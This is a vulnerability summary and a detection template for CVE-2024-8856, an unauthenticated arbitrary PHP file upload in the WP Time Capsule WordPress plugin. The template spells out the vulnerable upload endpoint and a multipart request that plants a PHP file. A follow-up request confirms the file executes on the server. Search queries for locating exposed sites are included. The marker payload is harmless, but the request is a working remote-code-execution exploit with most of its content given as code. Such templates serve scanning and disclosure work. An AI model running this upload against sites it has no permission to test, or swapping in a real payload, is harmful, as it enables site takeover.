The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
PoC
id: CVE-2024-8856
info:
name: WP Time Capsule Plugin - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
impact: |
Unauthenticated attackers can upload arbitrary PHP files to the server through missing file type validation, enabling remote code execution and complete WordPress site compromise.
remediation: |
Update WP Time Capsule plugin to a version later than 1.22.21 that addresses the arbitrary file upload vulnerability and implements proper file type validation and direct file access prevention.
reference:
- https://hacked.be/posts/CVE-2024-8856
- https://plugins.trac.wordpress.org/browser/wp-time-capsule/trunk/wp-tcapsule-bridge/upload/php/UploadHandler.php
- https://plugins.trac.wordpress.org/changeset/3188325/
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3153289%40wp-time-capsule&new=3153289%40wp-time-capsule&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/fdc2de78-5601-461f-b2f0-c80b592ccb1b?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-8856
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-8856
cwe-id: CWE-434
epss-score: 0.94004
epss-percentile: 0.99841
metadata:
verified: true
max-request: 2
fofa-query: body="/wp-content/plugins/wp-time-capsule/"
publicwww-query: "/wp-content/plugins/wp-time-capsule/"
tags: cve,cve2024,intrusive,file-upload,wordpress,wp-plugin,wp,wp-time-capsule,rce,vkev,vuln
variables:
marker: "{{randstr}}"
filename: "{{randbase(2)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;boundary=---------------------------26670583928903275361770089688
-----------------------------26670583928903275361770089688
Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
Content-Type: text/php
<?php echo base64_decode("{{base64(marker)}}"); ?>
-----------------------------26670583928903275361770089688--
matchers:
- type: word
part: body
words:
- 'url":"'
- '"files":'
- '"deleteType":'
condition: and
internal: true
- raw:
- |
GET /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "{{marker}}"
# digest: 4a0a0047304502210089e11e9200bd2a521f8fb11784036ae532a48e6b4f879a023b5aafe9d8af996c02202d9ab6ac5e330237e562236cd05bdb5a840099a9efdb2bd502235a178835c29f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.